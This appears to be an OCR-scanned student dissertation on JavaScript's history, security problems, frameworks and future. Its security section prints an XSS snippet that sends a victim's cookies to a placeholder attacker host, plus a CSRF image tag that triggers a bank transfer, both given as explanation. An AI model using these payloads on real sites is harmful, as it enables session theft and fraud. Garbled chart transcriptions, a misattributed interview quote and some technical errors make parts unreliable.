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Abstract

For this dissertation project, research will be undertaken into the JavaScript language, so that an in-
depth analysis can be carried out. The aims and objectives of the research is to gather a solid
understanding of the origins and history of the JavaScript language, discuss the potential
implications of the security issues within JavaScript and look at the impact it has had on the web
development industry. In addition, popular JavaScript frameworks will be discussed, looking at why
they are used and preferred by developers. Finally, predictions will be made surrounding the future
of JavaScript within web development in the near future and ultimately conclude on the importance
of the language.
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1 - Introduction

Have you ever wondered how JavaScript has become one of the most popular
programming language in the world? Or maybe why it is considered “The
Language of the Web”?

The name ‘JavaScript’ is one that almost everybody has heard of, even if they are not in the
software development industry or just not interested in coding or technology in general.
The reason why it sounds familiar is simply because the language is so popular in modern
society. JavaScript is the only language that is implemented in every mainstream web
browser that you can think of. Chrome, Firefox, Safari, Edge and Opera all utilise JavaScript
as their primary client-side scripting language. Much of the advertisements, animations,
features and general functionality of the web pages you browse on a regular basis are
powered by the JavaScript language.

This dissertation looks to delve deeper into the JavaScript language, pursuing a greater
understanding of the language as a whole and why it is now considered ‘the language of the
web’. It will be looking at how JavaScript is used in modern web applications and the impact
that it has had on web development today. It also seeks to discover why developers use the
vast array of JavaScript frameworks and libraries, and why specific frameworks and libraries
are more popular than others. In addition, it will look to discover the statistical aspect of the
languages popularity and how the number of users has grown over a period of 15 years.

1.1 - Aims and objectives

The global aim of this dissertation is to be able to identify the key aspects of JavaScript’s
popularity and how it became such a widely used and adopted programming language. It
also seeks to analyse the various frameworks and libraries that have been developed in the
JavaScript language and why they are used. Most importantly is to discover the impact that
this programming language has had on not just the web development industry, but the
consumer and how we interact with web pages on the internet. It will also be attempting to
predict, based on various findings, the future of the JavaScript language and if it will still be
a viable option in 10 years’ time.

To work towards these targets, there are a few important aspects that need to be followed
closely:

= To gain an understanding of the JavaScript language and its history

= Look at the security issues surrounding JavaScript-based web applications

= Discuss various frameworks and libraries, if they should be used and why

= To talk about how JavaScript has impacted the web development industry and the
way we interact with the web

= Discuss the future of the JavaScript language in 10 years’ time



1.2 - How research will be undertaken

This dissertation will use a case study methodology to explore the history of the JavaScript
language, why it has gained such a tremendous following and how it will fair against
potential rivals in the future. It will use descriptive quantitative research methods to actively
seek out the information that is required, so that it can be analysed and compared to
produce findings, provide topics for discussion and help in making final conclusions. This will
be discussed in greater detail in the full methodology.



2 - Literature Review

2.1 - Abstract

This section of the report, the literature review, will be looking into the JavaScript language,
investigating areas such as the history of the programming language and how it is used in
modern applications. It will be comparing both past and present literature, which can then
be used to aid with my writing on specific subjects. For the first part, the report will be
looking at the JavaScript language including its history and how the language came into
fruition.

2.2 - A brief history of JavaScript and the Internet

The scope of the internet has increased dramatically over the years. It’s very first origins as
“ARPANET”, a realisation of Dr J.C.R Licklider which was developed as a way for several
remote computers to share a single computers resources concurrently (Hauben, 2007), set
the foundation for the internet as we know it today and was a big shifting point in computer
history. At the time, ‘“ARPANET’ was revolutionary, as it allowed for something that had
never been accomplished before. It made thinking about the potential developments of the
system very easy, with his ideas and proposals starting to become an obvious realisation to
most (Hauben, 2007). As Robert Taylor, Licklider’s successor at the Information Processing
Techniques Office (IPTO), has said: “In pointing out the community phenomena created, in
part, by the sharing of resources in one timesharing system, Lick made it easy to think about
interconnecting the communities, the interconnection of interactive, on-line communities of
people”.

With these ideas changing the face of computer networking and the way that people
interact with computers, it wasn’t long before Sir Tim Berners-Lee capitalised on the
opportunity of expansion. When the World Wide Web was first conceptualised and
commercialised, everything was very basic. The world’s first ever website, which was hosted
on Berners-lee’s own personal NeXT desktop computer, was a very basic HTML page that
described how to access other people’s documents and how to create your own server
(Home.cern, n.d.). There was no external styling for these web pages or any form of
additional features. It was just a basic hypertext document that anyone could gain access to.

As the World Wide Web increased in popularity during the late 1990’s and early 2000’s,
developers started to look for new ways to improve the overall appearance and usability of
their websites. For what was to be the first of many new languages, the JavaScript language
was created in May of 1995, after only ten days of work (W3.org, n.d.). The language was
created by a man called Brendan Eich, who was working for NetScape at the time of the
development, but now works for Mozilla (W3.org, n.d.). Interestingly, during the first
development stages, JavaScript was actually given the name of ‘Mocha’. This was to be
changed to LiveScript in September 1995, when finally, after obtaining a trademark licence
from Sun, the name JavaScript was given (W3.org, n.d.). In an interview with InfoWorld
editor Paul Krill, Berners-lee was asked about the naming of the language and how it came
to its finalised title. He said the following: “It was all within six months from May till
December (1995) that it was Mocha and then LiveScript. And then in early December,
Netscape and Sun did a license agreement and it became JavaScript. And the idea was to
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make it a complementary scripting language to go with Java, with the compiled language”
(Krill, 2008).

The whole idea of the JavaScript language encapsulates the notion of accessible
programmability for programmers with varying levels of expertise. It was designed for
people to be able to add “a little bit of animation of a little bit of smarts” to their web pages
and applications, without having to learn an entire new language (Krill, 2008). The greatest
thing about JavaScript is that you can just learnt it as you go along. You can look at snippets
of code from someone else work and apply it in your own developments, or you can read
articles, forums or even books that detail how to do certain tasks specifically. All this can be
done with little to no programming knowledge, which can be one of the reasons why
JavaScript has become, and still is, so popular and considered to be the foundation of most
modern-day web pages and applications.

When JavaScript was first conceived and developed back in 1995, the web was very basic.
HTML was in development stage 3.2 (currently in 5.1 working draft) at the time, and people
did not have much to work with in terms of programmability (Krill, 2008). Java was picking
up at the time, but it was at a stage where developing in the Java language would require
the use of high-powered, high-performance computers (Krill, 2008). This obviously meant
that Java was not an accessible language for everybody and was mainly being used by
professional programmers. Therefore, JavaScript was created to act as a ‘little brother’
language to Java. The beauty of JavaScript is that it was being marketed as a ‘little brother’
language to Java. Much the same as how Visual Basic was developed to compliment C++
(Krill, 2008). Evidently, it was to become something of a sensation in the world of web
development, and it has changed the way we interact with the internet forever.

2.3 - How JavaScript has developed since it was first created

After its initial creation and release, the JavaScript language was taken to ECMA in
(1996/1997) to “carve out a standard specification” (W3.org, n.d.). ECMA International is an
industry association that was founded in 1961. The purpose of this organisation is to create
and enforce standards for ICT and Consumer Electronics sectors. This was so that the
various browser vendors, such as Internet Explorer and Opera, could implement such
standards in their applications, based on the work that had already been carried out at
Netscape (W3.org, n.d.).

2.4 —Security issues of JavaScript in web applications

Whilst the popularity and widespread use of JavaScript has positive effects on web
development and the quality of web pages produced, this can also have a negative effect on
the security of applications. More and more people learning and utilising JavaScript in their
web pages presents greater opportunity for malicious hackers and cyber criminals to inject
harmful code into a webpage, putting the consumer at risk, as well as having potentially
disastrous effects on the web applications themselves.
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JavaScript has a variety of common vulnerabilities that can be exploited for criminal gains,
however there are two main vulnerabilities that are frequently presenting issues to
developers:

¢+ Cross-Site Scripting (XSS)
¢+ Cross-Site Request Forgery (CSRF)

Cross-Site Scripting, or XSS, can be defined as the manipulation of the client-side scripts of a
web application, in this case the client-side scripting being JavaScript, to execute in the way
that is desired by the malicious hacker (Assis, 2016). This can allow for a malevolent script to
be embedded into a web page, which can then be executed each time the web application is
loaded or an associated event is performed (Veracode, n.d.). It is one of, if not the ‘most
prevalent high risk web application vulnerability’ facing web developers today, however it is
often over looked (Dionach, 2016). The nature of XSS attacks mean that in general, they
require some form of interaction from the user (victim) for the script to be initiated. This, or
it will wait for the user to visit a specific page on the website. This is one of the reasons why
developers may developers may not take it so seriously (Assis, 2016). However, if these
vulnerabilities in the scripting of a web application are left open, they can be very dangerous
to the user. Some types of malicious scripting can even change the HTML code of a web
application, therefore rendering the page differently to the end user (Assis, 2016).

The most common way for a hacker to inject malicious scripts into a web application is using
inputs. This can either be through comment boxes, contact forms, login panels, or any other
form of user input that is available on the web page (Assis, 2016). The hacker can inject an
illegal script into a genuine application through this method, which when accepted by the
program can transform functionality of certain aspects of the application and even change
the way it looks. An example of a piece of script that could be implanted into a JavaScript
web application could look something like the following:

<script>
image = new Image();
image.src="http://[Attacker IP]:8080/?'+document.cookie;

</script>

Figure 1: Example code excerpt, as shown on http://dionach.com

The result of this example code being injected into a web application using JavaScript would
allow the hacker to store the web user’s session cookies in addition to other methods. As a
quick description for those who don’t know, a browser ‘cookie’ is a simple text file that
stores information about your activity on the web (Bbc.co.uk, 2012). In this instance, the
cookie can store the user’s session state, which is essentially a snapshot of the user’s
current web browsing activity. The danger here is that one a hacker has retrieved these
cookies from the victim’s browser, they can then implement these cookies into their own
browser, as to ‘trick’ the browser into believing that they are logged into the victims account
(Dionach, 2016).
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Additionally, there is the issue of CSRF attacks on web applications. “Cross-Site Request
Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web
application in which they're currently authenticated” (Owasp.org, n.d.). This type of web
attack specifically targets ‘state change requests’, rather than the outright theft of data,
which can range from actions such as the changing of an email address, to even transferring
funds from the victims account(s) (Owasp.org, n.d.). Also, depending on if a user’s account is
an administrator, the hacker could potentially gain access to the entire web application.

Consider the following example except of code, showing a potential hack that a hacker
could inject into a vulnerable web application using the CSRF method:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=Fred">

Figure 2: Example code excerpt, as shown on http://dionach.com

The result of this example code being injected into a web application would instantiate a
request for transfer of funds from the victims account. Instead of including a real image
within the img tag, the hacker has placed a link inside the source that carries out a bank
transaction from the victim’s bank account website. The fact that this is possible makes the
use of JavaScript in web pages questionable, especially so with web applications that don’t
validate their inputs correctly to keep them secure.

Comparing the advantages of security of using JavaScript with the disadvantages, a good
way to describe the experience of using the web with JavaScript turned off is this:

“disabling JavaScript due of security concerns is like wearing a bubble suit
every time you go outside because you’re afraid of getting hurt. It won’t
actually protect you from much, but it will make your life miserable.” (Lee,
2014)

It is important to note that the increase in number of users actively adopting and using
JavaScript in the web browser has improved dramatically over the years. Looking at the
Screen Reader Survey’s conducted by WebAim (Webaim.org, 2009), we can see that in
October 2009, the percentage of total users (from 665 valid responses) that stated they
browse with JavaScript forcibly disabled was 10.4% (Webaim.org, 2009). Five years later, in
January 2015, the 5% Screen Reader was conducted by WebAim, stating that number of
total users browsing with JavaScript disabled (from 1465 valid responses) was at 2.4%
(Webaim.org, 2015). This is a sizable decrease of the number of users browsing without
JavaScript, with a percentage of 8% over 5 years.

Unfortunately for JavaScript’s reputation, a common theme that seems to present itself
prominently whilst conducting research into the JavaScript language is the fact that it has
security issues, those of which are easily exploited.
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2.5 - How JavaScript has impacted web development

As covered in the previous sections of this literature review, it is easy to conclude that the
JavaScript language is a very versatile one. One that allows many people, of varying skill
levels and programming experience, to harness the full potential and power that the World
Wide Web must offer when developing their applications.

TOP TEN TAGS ON STACKOVERFLOW

M Tags (millions)

(o]
el
- <
i
i
[0}
(Yo}
bt S
— - ~
a
o
m
@«
o (]
l\
D <
L.O
| O

JAVASCRIPT JAVA C# PHP ANDROID JQUERY PYTHON HTML

¢ I 051
M

O I

o 0.5

Figure 3: Graph showing the number of tags (in millions) that have been used in posts on Stackoverflow.
(Stackoverflow.com, 2017)

As shown in Figure 1, JavaScript has proven to be the most talked about subject on the
popular programming forum, Stackoverflow. The way that this has been calculated is by
looking at the number of ‘tags’ that are attached to each individual post on the
Stackoverflow forum. The numbers shown, in millions, are rounded to the nearest ten
thousandth for simplicity and coherency. Therefore, we can conclude from this dataset that,
from looking at the ‘top ten’ most used tags on Stackoverflow, that JavaScript is the most
talked about topic on the forum. What this means for the language is enormous, as it backs
up the theory that JavaScript truly is ‘the language of the web’ as famously quoted by
Douglas Crockford, and helps to plant the language further into the top spot for the most
popular web programming language (Cleverism, 2015).

As further testament to the surge in popularity of the JavaScript language, research was
conducted on the increased use of the JavaScript tag on Stackoverflow. Using web
application tagtrends.com, we can see how the use of the tag has increased dramatically
over a period of 5 years.
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Figure 4: Line graph showing the use of the JavaScript tag on Stackoverflow, specifically focussing on January 2012. (ref)
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javascript 1%

Figure 5: Line graph showing the use of the JavaScript tag on Stackoverflow, specifically focussing on January 2017. (ref)

In figure 10, we can see that the JavaScript tag takes up 4.9% of the total amount of tags
used in posts on Stackoverflow in 2012 (Sotagtrends.com, 2017). However, in figure 11, we
can see that over a period of 5 years, the amount of people posting on Stackoverflow using
the JavaScript tag has increased substantially, by a staggering 6.1% to make up 11% of the
total tags used in 2017 (Sotagtrends.com, 2017). This goes to show just how popular
JavaScript has become, and by all accounts is still becoming, as more and more people
appear to be discussing the language and learning how to use it. What seems to be of slight
concern, however, is that although the amount of tags being used is at a very high level it
was at its highest level in July 2015, when JavaScript took up 12% of the total tags on
Stackoverflow (Sotagtrends.com, 2017).

14



javascript X

Questions over time @ Relative:

Figure 6: Line graph showing the use of the JavaScript tag on Stackoverflow, specifically focussing on July 2015. (ref)

It appears to be remaining at a somewhat flat level, however the decrease in use of the
JavaScript tag is to be expected, as more and more people start to adopt various newer
languages, such as Ruby and Python. This is not to say, however, that JavaScript is not being
utilised or is becoming irrelevant, as the following work covers in more detail.

To further understand how much of an impact that JavaScript has had on the internet and
web development in general, we need to look at how the web would look if JavaScript was
‘disabled’. Little known to the majority is that you can turn JavaScript off in your web
browser, meaning that any JavaScript contained on the websites you visit will be blocked,
rendering the code useless. Whilst this may seem like an easy way to enhance protection
and remove annoyances when browsing the web, the security advantages are minimal and
most, if not all websites will not load correctly. Disabling JavaScript in your browser may not
only affect the way that the website looks and feels, but it could also hinder its performance
and disable some essential features, for example, being able to long into your accounts or
posting comments on social media or forums. Whilst some sites, such as Gmail, provide an
alternative basic HTML option for those with the JavaScript feature disabled, some websites
may not load at all. Users do have the ability to manually select specific websites to be
exempt from the deactivation, but this takes ‘precious time’ (Hoffman, 2013).

In addition, the notion that web developers should strive to enhance their web pages for
use without JavaScript have been criticised. Certain web pages are designed to work more
like a software application than a traditional website, with much of these ‘web applications’
being heavily based on the JavaScript language. Apps such as Google Docs, which rely on
JavaScript to maintain its excellent user interface, would be inoperable without the
JavaScript code that powers it and makes it such a great application. There have been
arguments to prove that turning off JavaScript completely is far from the best option for
improving security and blocking ads whilst browsing the web. As quoted from an article on
HowToGeek, a popular online tech magazine founded in 2006, writer Chris Hoffman said:

“Disabling JavaScript takes websites back to a time when they were simple
documents without any other features. While some people may long to
return to that time, that’s not the web we live on today.” (Hoffman, 2013)

15



This further reiterates the fact that JavaScript has etched itself into the very fabric of the
internet as we know and love it today. As mentioned previously, the web was once a very
basic, 8-bit expanse that wasn’t very easy on the eye. Basic HTML documents with flashy (in
the literal sense of the word) animations. With advancements in technology came new
programming languages, and JavaScript took the reins and became the godfather of the web
browser.

Whilst it may seem like JavaScript is in its glory days, there are strong arguments to suggest
that all is not as it seems, with some actively encouraging the deactivation of the language
in the browser. For a language that has such an impact on the way we browse the internet,
this may seem like a farfetched attempt. However, what would happen if one day support
for the JavaScript language in the browser was phased out?

In a recent discovery, it was found that ‘the majority’ of ecommerce software had not be
configured to work for those that had disabled JavaScript in the browser. This, in effect, is
turning away an average of 1 in 20 customers (Boag, 2010). Considering the statistics for
web users in Britain alone, 95% of households in Britain alone used the internet in 2016%*,
with 83% percent of those making online purchases in the same year, as shown in Figure 3
below:
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Proportion of individuals who:

Used internet Purchased online
within the last 12 @ within the last 12

months months
EU-28 a4 55
Belgium a7 57
Bulgaria G2 17
Czech Republic 83 47
Denmark a7 a2
Germany a1 74
Estonia aa i
Ireland a3 54
Greece 70 Y
Spain a1 44
France aa GG
Croatia 74 23
Italy 71 29
Cyprus 76 29
Latvia a1 44
Lithuania 75 23
Luxembourg a3 73
Hungary a1 39
Malta 7a 47
Netherlands a4 T4
Austria 25 ha
Poland 75 42
Portugal 71 )
Romania il 12
Slovenia il 40
Slovakia a3 i
Finland a4 a7
Sweden a5 il
United Kingdom a5 a3
Horway a3 73
FYR of Macedonia 75 15
Turkey 59 17

Figure 7: Graph depicting the amount of internet users and online purchases made over the space of 12 months in 2016.
Data collected in December 2016. (Ec.europa.eu, 2016). *Survey conducted on a total of 156,152 households containing at
least one person aged 16-74, and 203,798 individuals aged 16-74 across the EU.

Tests will be carried out to experience the effects of disabling JavaScript in the browser from
point of view. A shortlist of two different web applications, Google Docs and Stuff.tv, has
been created, each of which will be visited both with JavaScript enabled and disabled
respectively. The results of these tests will serve to prove just how much of an importance
that the JavaScript language has become for the consumer when browsing the web. The
results will be included as screenshots, each with a small discussion on each of the findings.

17



2.6 - JavaScript frameworks and libraries in modern use

2.6.1 - What is a framework? How does it differ from a library?

A software framework, or in this case, a JavaScript framework, can be defined as a
‘skeleton’, for which the developer can define the applications own individual, unique
features to fill out the skeletal structure (Kumar, 2015). Therefore, a framework can be
defined as a structure for which a developer can follow and use to their advantage during
the creation of a web project (Kumar, 2015). The way in which a framework is designed to
work is through a paradox, known as “Inversion of Control”.

Inversion of Control

Inversion of Control, otherwise known as the Hollywood Principle (“Don’t call use, we'll call
you”), is a phenomenon that has been cited as a ‘defining characteristic of a framework’
(Fowler, 2005). It allows the developer to focus on the key elements and functionality of
their code, whilst the framework is then left to take care of calling the methods and
functions that have been created. In an online article written by Martin Fowler, a
ThoughtWorks employee and avid software development enthusiast and writer, he quoted
the following:

“One important characteristic of a framework is that the methods defined
by the user to tailor the framework will often be called from within the
framework itself, rather than from the user's application code. The
framework often plays the role of the main program in coordinating and
sequencing application activity. This inversion of control gives frameworks
the power to serve as extensible skeletons. The methods supplied by the
user tailor the generic algorithms defined in the framework for a particular
application.” (Johnson and Foote, 1988).

It seems that many people believe that frameworks and libraries in software development
are almost identical, or at least very similar. However, this is not the case, as they are in-fact
completely different by design and in their purported uses. As described above, a
framework is defined as the ‘structure’ of an application, one within which the developer
can tailor the features and characteristics of their code, allowing the framework to ‘take
control’ by calling methods and functions in accordance with how the code has been
written.

A library, however, differs from the description of a traditional software framework, in the
sense that it does not follow the ‘Hollywood Principle’. The reason for this is because a
library is simply a collection of pre-defined classes, each of which have been designed to
complete specific tasks and carry out certain functions (Kumar, 2015). It allows the
developer to utilise various aspects of code that have been written and perfected by other
developers and use this to their advantage in their own works. Whereas a framework is
something that one would use as the foundation of a project, a library can be seen as more
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of a ‘retrofit’, allowing developers to add various classes and functions to their code without
dramatically changing the structure or handing over control (Kumar, 2015).

2.6.2 - Why use a framework or library?

Why you should use frameworks and libraries

One of the biggest advantages of using a framework, from a developer’s perspective, is the
fact that one can fixate on perfecting the features of a project without having to ‘re-invent
the wheel’ each time. A framework can encapsulate the common aspects of every web page
across the internet and make it readily available for anyone to utilise in their work. This
must be one, if not the main reason, why certain JavaScript frameworks and libraries have
gained such popularity.

Another idealistic feature of popular JavaScript frameworks, such as Angular.js and Node.js,
is simply the fact they make a developer’s life much, much easier. It allows one to work
within a pre-fabricated environment, with the only tasks left to do being adding
functionality and design to suit. Frameworks are also a great way to ensure cross-browser
compatibility, as most are designed to work in all browsers supporting the JavaScript
language.

2.6.3 — Popular JavaScript frameworks and libraries

When it comes to choosing a framework to use when coding in JavaScript, the options are
certainly plentiful. There are many to choose from, but it begs the question of which one
should you choose and which will suit your application the best. There seems to be a few
that stand out from all the rest, in the sense they are widely adopted and favoured by
developers. In an article posted on DA14’s website, a bespoke software solutions company,
the 5 most popular JavaScript frameworks in 2017 were highlighted and discussed in brief
detail. This was used as the basis of the following research (Da-14.com, n.d.).

Consider the following graph, which shows statistics in relation to each framework
respectively using data from GitHub:
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Figure 8: Graph showing the top 5 most popular JavaScript frameworks, as written on DA14 site. Statistics taken directly
from respective GitHub pages (GitHub, 2017).

Let’s analyse the data being displayed in Figure 2. There are two key elements on display;
forks and contributors. A ‘fork’ on GitHub is when a user copies the repository, so that they
can make changes to the source code freely, without it affecting the official releases. This is
a huge benefit of organisations adopting the ‘open-source’ format with their projects, as it
allows developers to experiment with and adapt the source code to suit their specific
requirements.

‘Contributors’, on the other hand, are those that contribute to a particular project by adding
elements to the source code, which have then been accepted by the developers.
Contributions can be anything from a simple error fix to larger functional changes. Thusly,
this information can be used to predict which frameworks are being utilised the most by
software developers, as we can see the various amounts of forks and contributions for each
individual framework.

2.7 - Will it still be relevant in the future?

Whilst JavaScript may currently hold the title for the most popular programming language
(Stackoverflow.com, 2017), it does not necessarily mean that it will stay this way. In a
famous article, written by JavaScript author and a huge contributor to the development of
the language, Douglas Crockford said the following:

“Programming languages are like cats. It is easier to get a new cat than to
get an old cat fixed.” (Crockford, 2008)

From this statement alone, the future of the JavaScript language and its frequented use in
almost all websites and web applications is put into question. It is difficult to enforce this
statement using the JavaScript language itself, as rather than replace an existing language, it
looked to compete with the popular languages at the time, including C and Java especially.
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However, unfortunate as it may be, JavaScript seems to have quite a lot of competition in
the modern market.

In an interview with Brendan Eich, the ‘founding father’ of the JavaScript language, he was
asked if he had heard of ARAX (Asynchronous Ruby and XML) and APAX (Asynchronous
Python and XML), which allows Ruby and Python to be used in the browser instead of
JavaScript. Eich has this to say:

“Yes. | think that’s great, and | think we will support other programming
languages.” (Krill, 2008)

This statement speaks of collaborations between competing languages and is a promising
prospect from the eyes of the JavaScript development team. It feels as though Eich is
confident in his language from this declaration, as he doesn’t seem to be phased by the
possibility of another language ‘taking over’ as an alternative browser scripting language.
Furthermore, Eich finished the interview question by stating: “What will be interesting will
be to see how it’s standardized because until it’s really in all browsers, developers can’t
count on it.”. This again proves that JavaScript still has a very strong hold on the web
development industry, as crucially it is still the only server-side language that has been
adopted by most, if not all web browsers. For another language to take over, big changes
would need to be made to browsers, both in the development and release stages.
Developers would need to take a different approach when developing a new website or
application so that it could incorporate these new languages. In addition, they would also
need to edit their existing projects to meet the new requirements of all the browsers. Whilst
it’s possible for JavaScript to be replaced as the foundations of our web browsers and the
websites we frequent, it wouldn’t be an easy transition. Something that Brendan Eich makes
crystal clear in his interview with InfoWorld editor, Paul Krill (Krill, 2008).

The implications of this type of activity, in pairing Python and Ruby with XML to replace
JavaScript, could be detrimental to the success of the language in the future. The fact that
the substitution of the JavaScript language is even being considered at this stage is a huge
blow in terms of the expansion of JavaScript on the web. Not only does it have to worry
about other languages taking the spotlight, there also some serious security and privacy
issues associated with JavaScript.

Taking into consideration the alarming rate of expansion within the JavaScript language,
such as the various libraries and frameworks that are continuously being updated and
released, it is easy to get caught up in it all and forget about the essentials of security on the
client-side. The problem with using frameworks or libraries when writing code is this; you
only need to know the framework. Consequently, this means that you don’t have to know
the ins and outs of JavaScript to successfully utilise these frameworks or libraries in your
works. By means of this, malicious hackers and cyber criminals may be able to exploit the
‘gaps’ that have been left open in your code through lack of knowledge on the subject.
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Accordingly, as JavaScript is an interpreted language, instead of the code being compiled to
machine-readable format before its distribution, it is compiled a runtime, meaning that it is
being compiled as the application is running. Theoretically, this can allow essentially anyone
that downloads software that is JavaScript based to gain access to the source code, which
obviously in some scenarios is less than ideal.

3 - Methodology

3.1 - Introduction

Research can be defined, in the non-technical sense, as the search for knowledge (Kothari,
2004). Thus, research can be depicted as an original contribution, one of which is added to
an existing pool of knowledge, making for its advancement and further expansion.

The research methodology, on the other hand, is looked upon as a way to ‘systematically
solve the research problem’ (Kothari, 2004). A methodology can be understood as the study
of how research is conducted scientifically, specifically looking at the various steps adopted
by the researcher in pursuing knowledge around a particular problem, along with the logic
behind these steps and methods.

This methodology seeks to analyse the research methods that have been adopted
throughout this dissertation, looking at the research philosophy and approach that has been
adopted for the project. It will also be discussing the type of data that has been collected for
the project, along with the ethical issues associated with data collection and the limitations
that were faced during the process of data collection.

3.2 - Research philosophy

The research philosophy that has been adopted for this research project is Positivism. The
Positivism philosophy follows the principle that only factual knowledge gained through
observation, including measurement, is trust worthy. In other words, it aims only to seek
out confirmed knowledge and statistics for the purpose of research. The research that has
been undertaken for this project has been limited under the specified philosophy, however
it suits the requirements of the project as whole, in terms of the target resolution. Data
collection and interpretation through the means of an objective research approach, being
qualitative, are expected when utilising Positivism.

The researcher is also considered to be completely independent from the study, which in
context means that in addition, there is minimal interaction with research participants
during the period of research. Thusly meaning that as a positivist project, the findings will be
mostly based on fact, with little opinionated scripting. As only secondary data is being
collected for this dissertation and relative findings, the Positivism philosophy was best
suited to the task at hand, as the sole purpose and main question of this work is to analyse
the history and impact of the JavaScript language, which is mostly factual.

It is considered to be good practice to adopt a deductive approach when undertaking a
research project under the positivist paradigm. This is simply because Positivism is based
around facts and statistics, which suits the deductive approach, as it is geared towards the
hypothesising and testing of a particular subject area. The research approach that has been
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used for this research will be discussed in greater detail in the following section of the
methodology.

The main reason that this philosophy was chosen for this project is because it is focussed
primarily on collecting secondary data. An in-depth analysis has been conducted of the
JavaScript language, its impact on the World Wide Web and the various JavaScript
frameworks being utilised by today’s web developers. A common philosophy that students
tend to adopt when conducting a piece of work such as the dissertation is Interpretivism.
Interpretivism is focussed with human participants and their interaction with the study,
therefore Interpretivism and Positivism are almost opposites. Additionally, as stated
previously, the positivist movement aims to distance its self from any participants, such that
the findings produced towards the end of the research are not affected by bias or the
perspective of the researcher (ref). Results should be based upon reason and logic,
consequently preserving the importance of remaining neutral when researching.

Whilst the Positivist movement and its traits in relation to research have been beneficial to
the structure of this research project, there are various downfalls of this philosophy. In
relation to Positivism being purely factual and emotionally-detached, the research findings
produced because of abiding by the positivist principles are only descriptive. This, in turn,
can mean that the results of research conducted lack insight into the more in-depth issues
surrounding the research topic. In hindsight, this could be considered a reason why
philosophies such as Interpretivism are preferred.

3.3 - Research approach

The research approach that has been adopted for this research project is the deductive
method. A deductive research approach is focussed on developing a hypothesis, or in some
cases hypotheses (plural), that are based upon existing theories, e.g. previous findings in
relation to the research topic. Thereafter, a research strategy is to be designed with the
purpose of testing the hypothesis.

What is a hypothesis?

A hypothesis can be defined as an explanation, or ‘supposition’, that is provisionally
accepted in order to predict certain events or phenomena (BusinessDictionary.com, n.d.).
Additionally, a hypothesis seeks to provide guidance for further investigation into the
subject area. It may be proven wrong or it may be proven correct, and it must be able to
produce arguments (BusinessDictionary.com, n.d.).

Contradictory to the deductive approach is the inductive approach. Briefly, an inductive
research approach is focused with early observations during research, with theories not
being produced until research is coming to an end (Research Methodology, n.d.). It is clear
to see how this approach differs from deductive, as with deductive a theory is presented at
the start of the research. The basis of which is then used for testing against and constructing
arguments to further develop the research.

Consider the following table, using data provided from (Research Methodology, n.d.), that
depicts the main differences between these two popular research approaches. It is clear to
see why the deductive approach has been chosen for this research project. As only
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secondary data is being collected, less time is required to complete the study. Additionally,
the ‘abundance of sources’ that are available in relation to the title of the dissertation edges
more towards deductive, as no primary data needs to be collected to successfully work
towards answering the topic question.

Deductive preferred Inductive preferred
Wealth of literature | Abundance of sources Scarcity of sources
Time available | Short time available to There is no shortage of time
complete the study to complete the study
Risk | To avoid risk Risk is accepted, no theory
may emerge at all

Figure 9: Table showing the preferred research approach dependent on various research conditions

The main reason that the deductive approach has been chosen for this research topic is
simply because there an underlying theory presenting itself throughout this project. The
theory is that the JavaScript language could be irrelevant in the near future. This project
seeks to prove, one way or the other, if this theory has any foundations through the
analysation of past literature and statistical data.

3.4 - Data collection methods

For this project, only secondary data is being collected for the purpose discovering the
origins and impact of the JavaScript language. Secondary data collection, or analysis, can be
defined as the use of existing literature to find the answer a question that differs from the
original source (ref). For existing works to be analysed and utilised, various research
methods need to be considered. There are three main types of data collection methods,
which apply to both primary and secondary research:

*

** Qualitative methods
+* Quantitative methods
+* Mixed methods

For the research being undertaken in this project, mixed data collection methods have been
used, utilising a combination of both qualitative and quantitative methods. Primarily the
research will be carried out using qualitative research methods, as most research is text-
based, focussing on existing literature and the factual and opinionated (unbiased)
information contained within them. However, some instances require for quantitative
methods, as there are statistical findings in this report, including graphs and tables depicting
various scenarios.

Conducting only secondary research has many benefits, especially given the title of the
project and the expected outcome of the research. Secondary research is preferred simply
for its convenience, as little time is required to carry out secondary data collection in
comparison to primary data collection (questionnaires, interviews, etc.). Although, despite
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these benefits, there are also some limitations when conducting secondary research, which
will be discussed in greater detail in the following sections.

3.5 - Ethical issues

There is an abundance of potential ethical issues that one can run into whilst conducting
secondary data collection, those of which need to be thought about during the research
process. The moral implications of using somebody else’s work, either without permission
or without accrediting their findings, are plentiful.

For this task, all the literature referenced has been readily available in the public domain.
This has either been through the universities library facilities, both physical and online, or
has been various other sources on the internet, including journal articles, conference
proceedings and newspaper articles. This can be seen as one of the major implications of
secondary data collection, as it is crucial that the authors of any literature used to enhance
the quality of your research is properly referenced and credit is given to the owner.

“If the data is freely available on the Internet, books or other public forum,
permission for further use and analysis is implied. However, the ownership
of the original data must be acknowledged. If the research is part of
another research project and the data is not freely available, except to the
original research team, explicit, written permission for the use of the data
must be obtained from the research team and included in the application
for ethical clearance.” (Tripathy, 2013)

Ethics are a big part of any human being, as they help shape us into the people we are and
help to model the society that we live in. Traits like being able to distinguish between right
and wrong, being polite to other human beings and just generally being a good person are
the things that have been taught to us through school, at home or wherever it may have
been. We all have an ethical ‘standard’, if you will, that allows us to live in relative harmony.

It is important to transfer these ethical ‘skills’ into research, as they aid in producing work to
a good standard and help ‘promote the aims of research’ (Resnik, 2015), such as genuine
knowledge, truthful and error-free work. A good example of this is with the strict constraints
that students are faced with when conducting research, such as copyright protection,
falsifying or misrepresenting information. They help to support the notion of producing
truthful, ethical pieces of work.

3.6 - Limitations

The challenges that one faces when carrying out not just secondary research, but primary
research and research can be difficult and thusly need to be considered in detail. This
project is based upon secondary data collection, therefore there are a few key limitations
that present themselves as obstacles within the scope of the project. These are some of the
main limitations that are faced when conducting secondary research for this project:
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Accuracy of information — reputable sources
Non-timely — information could be ‘out-of-date’
Incomplete research — free preview, expensive full text
Relevance — not specific to researchers needs
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The accuracy of information can ultimately affect the quality of your findings; therefore, a
lot of time should be spent finding current literature from a reliable source. Reliable sources
can include, but are not limited to, thesis and dissertations, journal articles, newspaper
articles and literature from online sources. Consistently finding information from a
reputable source can be challenging at best, as there may be a shortage of information
available surrounding the subject area that is being researched.

Then, there is the issue of information being ‘out-of-date’, as it may have been written far in
the past and could therefore be deemed as irrelevant today. This is something that needs to
be greatly considered when using any past literature in your research, especially in an
industry that is constantly changing. This was found to be a large obstacle when conducting
research, especially so when considering specific areas such as the development of the
JavaScript language, as there were minimal modern articles supporting this theory.

Whilst finding information that is too old to utilise is a pressing issue, there is also the
setback of incomplete information. This could be if you were to find an article that meets
